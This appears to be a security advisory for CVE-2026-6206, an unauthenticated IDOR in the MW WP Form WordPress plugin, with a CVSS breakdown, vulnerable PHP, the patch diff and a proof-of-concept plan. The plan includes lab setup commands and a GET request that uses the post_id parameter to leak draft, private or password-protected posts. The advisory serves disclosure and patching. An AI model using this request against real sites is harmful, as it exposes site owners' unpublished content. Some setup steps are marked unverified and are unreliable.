CVE-2026-6206

MW WP Form <= 5.1.2 - Insecure Direct Object Reference to Unauthenticated Sensitive Information Disclosure via 'post_id' Query Parameter

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.1.3
Patched in
1d
Time to patch

Description

The MW WP Form plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 5.1.2 via the _get_post_property_from_querystring() function due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.1.2
PublishedMay 13, 2026
Last updatedMay 14, 2026
Affected pluginmw-wp-form

What Changed in the Fix

Changes introduced in v5.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical analysis and proof-of-concept (PoC) steps for CVE-2026-6206, an Insecure Direct Object Reference (IDOR) vulnerability in the MW WP Form plugin. --- ### 1. Vulnerability Summary The MW WP Form plugin suffers from an Information Exposure vulnerability due to…

Show full research plan

This research plan outlines the technical analysis and proof-of-concept (PoC) steps for CVE-2026-6206, an Insecure Direct Object Reference (IDOR) vulnerability in the MW WP Form plugin.


1. Vulnerability Summary

The MW WP Form plugin suffers from an Information Exposure vulnerability due to an insecurely implemented feature that allows pre-filling form data from URL parameters. The function _get_post_property_from_querystring() in classes/models/class.parser.php retrieves a post object based on a user-supplied post_id query parameter and extracts its properties or meta data without verifying the post's status (e.g., draft, private, or password-protected) or the current user's authorization to view that post.

2. Attack Vector Analysis

  • Vulnerable Endpoint: Any public-facing page or post where an MW WP Form shortcode is embedded, provided the form has the "querystring" setting enabled.
  • Action: A GET request to the page containing the form.
  • Vulnerable Parameter: post_id (Query String).
  • Required Authentication: None (Unauthenticated).
  • Preconditions:
    1. The form must have the "URL parameter" (internal key: querystring) setting enabled.
    2. The form content must contain placeholders using the curly brace syntax, such as {post_title}, {post_content}, or {any_meta_key}.

3. Code Flow

  1. Entry Point: A user visits a page containing the shortcode [mwform_formkey key="..."].
  2. Controller: The shortcode triggers the form rendering process. The MW_WP_Form_Parser is instantiated to handle placeholder replacement.
  3. Parsing: The method MW_WP_Form_Parser::replace_for_page() is called to process the form's HTML content.
  4. Property Replacement: replace_for_page() calls _replace_post_property().
  5. Setting Check: _replace_post_property() checks if the setting querystring is truthy:
    if ( $this->Setting->get( 'querystring' ) ) {
        $callback = array( $this, '_get_post_property_from_querystring' );
    }
    
  6. IDOR Sink: _get_post_property_from_querystring() is executed. It retrieves the post ID from $_GET['post_id'] and calls get_post():
    $post = get_post( $_GET['post_id'] );
    
  7. Disclosure: The parser then calls _get_post_property($post, $meta_key), which returns the requested property (like post_content) or calls get_post_meta() for the object. No checks for post_status or visibility are performed.

4. Nonce Acquisition Strategy

This vulnerability occurs during the rendering of the form (Read operation), not during form submission (Write operation).

  • The replace_for_page() method is called when the WordPress shortcode is expanded into HTML for display.
  • No nonce is required to trigger this disclosure, as the post_id is processed via a standard GET request to a public page.

5. Test Data Setup

To reproduce the vulnerability, the environment must be configured as follows:

  1. Create Sensitive Content:

    wp post create --post_type=post --post_title="Secret Draft" --post_content="FLAG{IDOR_INFO_DISCLOSURE}" --post_status=draft
    # Note the resulting Post ID (e.g., 10)
    
  2. Create a Vulnerable Form:
    Create an mw-wp-form post. Use wp eval to set the necessary meta data if not using the UI.

    # Create the form
    FORM_ID=$(wp post create --post_type=mw-wp-form --post_title="Exploit Form" --post_status=publish --porcelain)
    
    # Enable the 'querystring' setting (URL parameter feature)
    # The setting is typically stored in the 'mw-wp-form' post meta under a specific key.
    # In versions <= 5.1.2, settings are serialized in the post meta.
    wp post bash-eval $FORM_ID 'update_post_meta($post_id, "querystring", "1");'
    
    # Set the form content to include a leak tag
    wp post update $FORM_ID --post_content='Title: {post_title} | Content: {post_content}'
    
  3. Embed the Form:

    wp post create --post_type=page --post_title="Public Form Page" --post_status=publish --post_content="[mwform_formkey key='mwform_$FORM_ID']"
    # Note the resulting Page URL (e.g., /public-form-page/)
    

6. Exploitation Strategy

Perform an unauthenticated GET request to the page hosting the form, specifying the post_id of the draft post created in step 5.

Request:

  • Method: GET
  • URL: http://localhost:8080/public-form-page/?post_id=[DRAFT_ID]
  • Headers: None required.

Payload:
No payload in the body is required; the payload is the post_id query parameter targeting a non-public post.

7. Expected Results

  • Response Status: 200 OK.
  • Response Body: The HTML of the form will contain the string: Title: Secret Draft | Content: FLAG{IDOR_INFO_DISCLOSURE}.
  • The parser successfully extracted data from a post with post_status='draft', which is otherwise inaccessible to unauthenticated users.

8. Verification Steps

  1. Verify Unauthenticated Access: Ensure the request is made without any session cookies or Authorization headers.
  2. Confirm Disclosure: Use grep or similar logic to find the "FLAG" string in the response body.
  3. Check Post Status: Confirm via WP-CLI that the targeted post is indeed a draft:
    wp post get [DRAFT_ID] --field=post_status
    

9. Alternative Approaches

  • Meta Disclosure: If the form contains tags for custom meta keys (e.g., {_wp_page_template} or {secret_api_key}), these can also be disclosed by changing the placeholder in the form content.
  • Password Protected Posts: The same method can be used to extract the content of password-protected posts without providing the password, as get_post() and raw property access bypasses the password requirement check implemented in the_content() filters.
Research Findings
Static analysis — not yet PoC-verified

Summary

The MW WP Form plugin for WordPress is vulnerable to information exposure via the 'post_id' query parameter in versions up to 5.1.2. Unauthenticated attackers can exploit this to extract content from draft, private, or password-protected posts by pre-filling form data using URL parameters when specific placeholders like {post_content} are present in the form.

Vulnerable Code

// classes/models/class.parser.php:122
	protected function _get_post_property_from_querystring( $matches ) {
		if ( ! isset( $_GET['post_id'] ) || ! MWF_Functions::is_numeric( $_GET['post_id'] ) ) {
			return;
		}

		$post = get_post( $_GET['post_id'] );
		if ( empty( $post->ID ) ) {
			return;
		}

		return $this->_get_post_property( $post, $matches[1] );
	}

---

// classes/models/class.parser.php:166
	protected function _get_post_property( $post, $meta_key ) {
		if ( ! is_a( $post, 'WP_Post' ) ) {
			return;
		}

		if ( isset( $post->$meta_key ) ) {
			return $post->$meta_key;
		}

		$post_meta = get_post_meta( $post->ID, $meta_key, true );
		if ( is_array( $post_meta ) ) {
			return;
		}

		return $post_meta;
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/abstract/class.form-field.php /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/abstract/class.form-field.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/abstract/class.form-field.php	2023-09-20 02:47:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/abstract/class.form-field.php	2026-04-27 00:06:30.000000000 +0000
@@ -129,7 +129,7 @@
 		$args = $this->set_names();
 
 		if ( empty( $args['shortcode_name'] ) || empty( $args['display_name'] ) ) {
-			exit( get_class() . '::set_names() returns not right values. Returned values is ' . serialize( $args ) . ' now.' );
+			exit( get_class( $this ) . '::set_names() returns not right values. Returned values is ' . serialize( $args ) . ' now.' );
 		}
 
 		$this->shortcode_name = $args['shortcode_name'];
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/abstract/class.validation-rule.php /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/abstract/class.validation-rule.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/abstract/class.validation-rule.php	2023-09-20 02:47:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/abstract/class.validation-rule.php	2026-04-27 00:06:30.000000000 +0000
@@ -88,8 +88,8 @@
 	 */
 	public function getName() {
 		MWF_Functions::deprecated_message(
-			get_class() . '::getName()',
-			get_class() . '::get_name()'
+			get_class( $this ) . '::getName()',
+			get_class( $this ) . '::get_name()'
 		);
 		return $this->get_name();
 	}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/models/class.csrf.php /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/models/class.csrf.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/models/class.csrf.php	2023-11-29 05:59:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/models/class.csrf.php	2026-04-27 00:06:30.000000000 +0000
@@ -40,7 +40,18 @@
 		static::$token = ! $saved_token ? static::generate_token() : $saved_token;
 		if ( ! $saved_token && ! headers_sent() ) {
 			$secure = apply_filters( 'mwform_secure_cookie', is_ssl() );
-			setcookie( static::KEY, static::$token, 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true );
+			setcookie(
+				static::KEY,
+				static::$token,
+				array(
+					'expires'  => 0,
+					'path'     => COOKIEPATH,
+					'domain'   => COOKIE_DOMAIN,
+					'secure'   => $secure,
+					'httponly' => true,
+					'samesite' => 'Lax',
+				)
+			);
 		}
 	}
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/models/class.parser.php /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/models/class.parser.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/models/class.parser.php	2023-09-20 02:47:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/models/class.parser.php	2026-04-27 00:06:30.000000000 +0000
@@ -134,6 +134,10 @@
 			return;
 		}
 
+		if ( 'publish' !== $post->post_status || post_password_required( $post ) ) {
+			return;
+		}
+
 		return $this->_get_post_property( $post, $matches[1] );
 	}
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/models/class.session.php /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/models/class.session.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/models/class.session.php	2023-09-20 02:47:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/models/class.session.php	2026-04-27 00:06:30.000000000 +0000
@@ -44,7 +44,18 @@
 			$secure     = apply_filters( 'mwform_secure_cookie', is_ssl() );
 			try {
 				set_error_handler( array( 'MW_WP_Form_Session', 'error_handler' ) );
-				setcookie( $this->name, $session_id, 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true );
+				setcookie(
+					$this->name,
+					$session_id,
+					array(
+						'expires'  => 0,
+						'path'     => COOKIEPATH,
+						'domain'   => COOKIE_DOMAIN,
+						'secure'   => $secure,
+						'httponly' => true,
+						'samesite' => 'Lax',
+					)
+				);
 			} catch ( ErrorException $e ) {
 				// No process...
 			}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/validation-rules/class.maximagesize.php /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/validation-rules/class.maximagesize.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/classes/validation-rules/class.maximagesize.php	2023-09-20 02:47:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/classes/validation-rules/class.maximagesize.php	2026-04-27 00:06:30.000000000 +0000
@@ -56,6 +56,7 @@
 			$filepath = MW_WP_Form_Directory::generate_user_filepath( $form_id, $name, $value );
 		}
 
+		$imagesize = false;
 		if ( file_exists( $filepath ) && exif_imagetype( $filepath ) ) {
 			$imagesize = getimagesize( $filepath );
 		} else {
@@ -70,7 +71,7 @@
 			'message' => __( 'This image size is too big.', 'mw-wp-form' ),
 		);
 		$options  = array_merge( $defaults, $options );
-		if ( $is_error || $imagesize[0] > $options['width'] || $imagesize[1] > $options['height'] ) {
+		if ( $is_error || ( is_array( $imagesize ) && ( $imagesize[0] > $options['width'] || $imagesize[1] > $options['height'] ) ) ) {
 			return $options['message'];
 		}
 	}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/mw-wp-form.php /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/mw-wp-form.php
--- /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.2/mw-wp-form.php	2026-04-08 02:35:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/mw-wp-form.php	2026-04-27 00:06:30.000000000 +0000
@@ -3,7 +3,7 @@
  * Plugin Name: MW WP Form
  * Plugin URI: https://mw-wp-form.web-soudan.co.jp
  * Description: MW WP Form is shortcode base contact form plugin. This plugin have many features. For example you can use many validation rules, inquiry data saving, and chart aggregation using saved inquiry data.
- * Version: 5.1.2
+ * Version: 5.1.3
  * Requires at least: 6.0
  * Requires PHP: 8.0
  * Author: websoudan
@@ -80,6 +80,7 @@
 			add_action( 'admin_menu', array( $this, '_admin_menu_for_chart' ) );
 			add_action( 'admin_menu', array( $this, '_admin_menu_for_inquiry_data_list' ) );
 			add_action( 'current_screen', array( $this, '_current_screen' ) );
+			new MW_WP_Form_Deprecation_Notice_Controller();
 		} elseif ( ! is_admin() ) {
 			new MW_WP_Form_Main_Controller();
 		}

Exploit Outline

The exploit targets forms with the 'querystring' (URL parameter) setting enabled. An unauthenticated attacker identifies a page hosting such a form that uses post placeholders (like {post_content} or {post_title}). By sending a GET request to the form page with the 'post_id' query parameter set to the ID of a draft, private, or password-protected post, the plugin's parser retrieves the unauthorized post object and renders its sensitive properties directly into the form's HTML response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.